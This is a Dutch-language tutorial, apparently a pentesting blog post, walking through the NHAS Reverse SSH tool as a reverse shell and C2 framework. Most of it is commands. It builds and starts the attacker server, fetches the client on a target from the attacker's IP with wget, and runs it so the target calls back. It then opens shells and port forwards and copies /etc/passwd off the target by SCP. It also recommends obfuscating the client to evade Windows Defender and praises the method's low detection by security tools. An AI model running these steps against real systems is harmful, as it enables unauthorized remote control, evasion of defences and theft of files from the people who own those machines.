Reverse SSH: Fully Interactive SSH Reverse Shell

SSH is een methode die we vaak gebruiken om een versleutelde TTY te verkrijgen met een doelstation. SSH is normaal gesproken ook eenrichtingsverkeer. Jij maakt verbinding met een server, voert je commando’s uit en sluit af. Reverse SSH draait dat principe om. Het doel: een stabiele, veilige verbinding terug naar jou, zelfs als het systeem achter een NAT of firewall zit. Dus net zoals bij een reverse-shell initiëren we bij Reverse SSH de connectie vanaf de client. De Reverse SSH van NHAS welke we vandaag bespreken doet dit op een eenvoudige en elegante manier. Deze methode maakt als het ware een SSH-server die “wacht” op binnenkomende verbindingen van “clients” die zelf terugbellen. Zie dit als een “listener”. Zodra een client actief wordt, kun je inloggen alsof het een normale SSH-server is.

Hoe het werkt:
Het project bestaat uit twee delen: een Reverse SSH server en een Reverse SSH client.
De server draait bij jou (aan de aanvallers kant) en de client wordt uitgevoerd op het systeem waar je controle over wilt houden. Zodra de client start, maakt hij een uitgaande SSH-verbinding naar jouw server. Daarmee vermijdt hij inkomende poorten, NAT-problemen en firewallbeperkingen.

Wat het bijzonder maakt
Reverse SSH ondersteunt meer dan alleen een terminalsessie. Het bevat ook functies welke normaliter toebehoren aan een professioneel C2-frameworks, zoals:

• Dynamic, local en remote port forwarding zodat we verkeer kunnen doorsturen zoals bij “normale” SSH-tunnels.
• Native SCP en SFTP zodat we direct bestanden kunnen up- en downloaden via dezelfde verbinding.
• Volledige Windows-shell ondersteuning.
• Verschillende transportlagen. Dus niet alleen standaard TCP, maar ook HTTP, WebSockets en TLS.
• Automatische connect-back waarbij de client probeert opnieuw verbinding te maken bij netwerkverlies.
• Fileless uitvoering zodat de client zichzelf tijdelijk in geheugen kan laden zonder bestanden naar disk te schrijven.

Laten we deze oplossing eens proberen.
Het eerste wat we gaan doen is Reverse SSH clonen en compilen:

git clone https://github.com/NHAS/reverse_ssh.git
 
cd reverse_ssh
 
make

Tijdens het compilatieproces worden er SSH keys gegenereerd welke in de “internal/client/keys” folder geplaatst worden.

Na het compilatieproces is er een “bin” directory met o.a. de ReverseSSH server en client evenals de webserver binaries.
Het volgende wat we moeten doen is om in de /bin directory een “authorized_keys” bestand aan te maken en we moeten de public-key plaatsen in dit bestand. Ook plaatsen we de private key in de bin folder en hernoemen we deze naar wat de server verwacht:

#Copy the private key:
cp /home/kali/Software/reverse_ssh/internal/client/keys/private_key /home/kali/Software/reverse_ssh/bin
 
#Rename the private key:
mv private_key id_ed25519
 
#Copy the public key into the authorized keys file:
cat /home/kali/Software/reverse_ssh/internal/client/keys/private_key.pub > /home/kali/Software/reverse_ssh/bin/authorized_keys

Als dat gedaan is kunnen we de server starten:

./server 0.0.0.0:3232 --insecure --enable-client-downloads

In dit voorbeeld gebruiken we het “–insecure“ argument om elke SSH key te accepteren. De authorized_keys file wordt dus genegeerd. Met “–enable-client-downloads” starten we tevens een webserver op zodat we daar later de gegenereerde client uit kunnen downloaden.
Nu de server is gestart gaan we inloggen op onze server. Dit kunnen we gewoon lokaal doen vanuit een andere terminal. We kunnen dit op 2 manieren doen. Door de public-key welke we willen gebruiken te selecteren of door deze naar de ~/.ssh folder te verplaatsen:

#By pointing to the public key:
ssh -i /home/kali/Software/reverse_ssh/bin/id_ed25519 127.0.0.1 -p 3232
 
#By moving the key tot he SSH folder:
cp /home/kali/Software/reverse_ssh/bin/id_ed25519 /home/kali/.ssh
 
chmod 0600 /home/kali/.ssh
ssh 127.0.0.1 -p 3232
 
#Check all options:
help

Het “help” commando geeft een duidelijk overzicht van alle opties.
Het eerste wat we willen doen is het aanmaken van een cliënt en deze hosten op de ingebouwde webserver (we hebben immers de server gestart met de “–enable-client-downloads” optie). Dit is een .sh script en dus een Linux cliënt. Uiteraard kun je ook gewoon een Linux of Windows cliënt downloaden v.a. de “releases” pagina op Github!

link

En nu kunnen we op de cliënt

wget http://172.16.200.10:3232/2f8aecbb5abd516a18afe3a28fb7e9df

!Let op: Windows Defender ziet deze default client tegenwoordig als malicious. Dus mocht je hier voorbij willen werken dan is enige obfuscatie van de binary benodigd.
Zodra de client gedownload is kunnen we deze gebruiken op de client om een verbinding tot stand te brengen:

.\ReverseSSHClient.exe -d 172.16.200.10:3232

Aan de serverzijde kunnen we met “ls” onze actieve sessies bekijken:

ls

Nu we een sessie hebben betekend dit dat we op een “normale” manier een SSH verbinding kunnen maken met deze machine, zelfs dus als de firewall inkomend SSH verkeer blokkeert. Het enige wat we moeten specificeren is onze RSSH machine als jump-host en het ID of de naam welke onze machine gekregen heeft en dus zichtbaar is via het “ls” commando.

#Full shell with ID:
ssh -J 127.0.0.1:3232 7ae186c38f5cc7c6a42bc1a8ae36d913e30df49a
 
#Full shell with name:
ssh -J 127.0.0.1:3232 ospathway.administrator.client01-win10

Op deze manier kunnen we nog meer “standaard SSH” zaken doen, waaronder:

#Remote port forward:
ssh -R 1234:localhost:1234 -J 127.0.0.1:3232 ospathway.administrator.client01-win10
 
#Dynamic port forward:
ssh -D 9050 -J 127.0.0.1:3232 ospathway.administrator.client01-win10
 
#Using SCP:
scp -J 127.0.0.1:3232 ospathway.administrator.client01-win10:/etc/passwd .

We kunnen ook vanuit de server een volledige reverse shell maken met het “connect” commando tezamen met het ID of de naam welke we via het “ls” commando verkregen hebben. Je kunt het ID ook afkorten tot de eerste paar waarden van het ID zolang het maar uniek is!

#Full shell:
connect 7ae186c38f5cc7c6a42bc1a8ae36d913e30

Volledige SSH opties vanuit je aanval-machine zonder dat SSH enabled is op je doelmachine of dat SSH naar binnen toe is toegestaan vanuit de firewall! Eureka!

Conclusie:
Reverse SSH is handig voor systeembeheer, red team-operaties en situaties waarin je geen directe verbinding kunt openen. Het biedt controle via een vertrouwd protocol zonder afhankelijk te zijn van aangepaste poorten of obscure tools. Het project is open-source en is zoals je gezien hebt geschreven in Go. Door het gebruik van native SSH wordt deze methode minder snel herkend door beveiligingssoftware. Ook ondersteund de SSH server meerdere SSH clients zodat we gemakkelijk SSH verkeer naar diverse endpoints kunnen sturen. Reverse SSH neemt hiermee een andere functie over van een C2 framework en wordt mede door alle voordelen ook steeds vaker als C2 server ingezet. Test er eens mee, en doe er je voordeel mee. Een prachtige oplossing en zeker een aanvulling in je pentester toolkit!